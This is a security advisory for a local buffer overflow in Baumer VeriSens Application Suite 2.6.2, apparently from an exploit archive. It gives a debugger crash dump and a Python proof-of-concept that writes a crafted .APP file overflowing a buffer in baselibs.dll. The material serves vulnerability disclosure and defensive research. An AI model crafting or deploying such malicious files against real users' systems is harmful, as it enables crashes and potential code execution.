Baumer VeriSens Application Suite 2.6.2 Buffer Overflow

2016.02.03
Risk: High
Local: Yes
Remote: No
CVE: N/A
CWE: CWE-119

#!/usr/bin/env python # # # Baumer VeriSens Application Suite 2.6.2 Buffer Overflow Vulnerability # # # Vendor: Baumer Holding AG | Baumer Optronic GmbH # Product web page: http://www.baumer.com # Software link: http://www.baumer.com/us-en/products/identification-image-processing/software-and-starter-kits/verisens-application-suite/ # Affected version: 2.6.2 (ID-CS-XF-XC) # # Summary: The Baumer Application Suite is the intuitive configuration # software for VeriSens vision sensors, which makes it quick and simple # for even new users to implement image processing tasks. Starting with # the creation of test tasks through to the management of jobs, the program # will take you through just a few steps to reach your goal. # # Desc: The vulnerability is caused due to a boundary error in baselibs.dll # library when processing device job file, which can be exploited to cause # a buffer overflow when a user opens e.g. a specially crafted .APP file. # Successful exploitation could allow execution of arbitrary code on the # affected machine. # # ------------------------------------------------------------------------- # (78c.cb0): Access violation - code c0000005 (first chance) # First chance exceptions are reported before any exception handling. # This exception may be expected and handled. # Exported symbols for C:\Program Files (x86)\Baumer\VeriSens Application Suite v2.6.2\AppSuite\baselibs.dll - # eax=4d81ab45 ebx=4d81ab45 ecx=41414141 edx=41414141 esi=4d81ab45 edi=0c17e010 # eip=56bc4186 esp=0040a020 ebp=0040a020 iopl=0 nv up ei pl nz na po nc # cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210202 # baselibs!b_Int_restore+0x6: # 56bc4186 8b00 mov eax,dword ptr [eax] ds:002b:4d81ab45=???????? # 0:000> u # baselibs!b_Int_restore+0x6: # 56bc4186 8b00 mov eax,dword ptr [eax] # 56bc4188 8bc8 mov ecx,eax # 56bc418a 8bd0 mov edx,eax # 56bc418c c1ea18 shr edx,18h # 56bc418f c1f908 sar ecx,8 # 56bc4192 81e100ff0000 and ecx,0FF00h # 56bc4198 0bca or ecx,edx # 56bc419a 8bd0 mov edx,eax # 0:000> dds # 56bc6b86 00107d80 # 56bc6b8a 8b117457 # 56bc6b8e f0e181cb # 56bc6b92 e8000000 # 56bc6b96 fffff9e6 # 56bc6b9a 02ebf88b # 56bc6b9e ff85fa8b # 56bc6ba6 68000001 # 56bc6baa 56c2afa4 baselibs!VsInfoFeed::Listener::`vftable'+0xb154 # 56bc6bae 3f8ce857 # 56bc6bb2 c483ffff # 56bc6bb6 75c0850c USER32!SetKeyboardState+0x705a # 56bc6bba 325b5f07 # ------------------------------------------------------------------------- # # Tested on: Microsoft Windows 7 Professional SP1 (EN) # Microsoft Windows 7 Ultimate SP1 (EN) # # # Vulnerability discovered by Gjoko 'LiquidWorm' Krstic # @zeroscience # # # Advisory ID: ZSL-2016-5303 # Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5303.php # # # 14.11.2015 # header = ("\x00\x00\x00\x01\x00\x00\x00\x04\x95\xCF\x82\xF6\x00\x00\x00" "\x01\x00\x00\x00\x04\x00\x00\x00\x2B\x00\x00\x00\x50\x00\x00" " \x00\x05\x43\x6F\x64\x65\x00\x00\x00\x00\x50\x00\x00\x00\x01" "\x00\x00\x00\x00\x50\x00\x00\x00") #\x0F buffer = "\x41" * 6719 + "\x42\x42\x42\x42" f = open ("exploit.app", "w") f.write(header + buffer +'\x0F') f.close() print "File exploit.app created!\n" # # PoC: http://www.zeroscience.mk/codes/bvas-5303.app.zip #

References:

http://www.zeroscience.mk/codes/bvas-5303.app.zip


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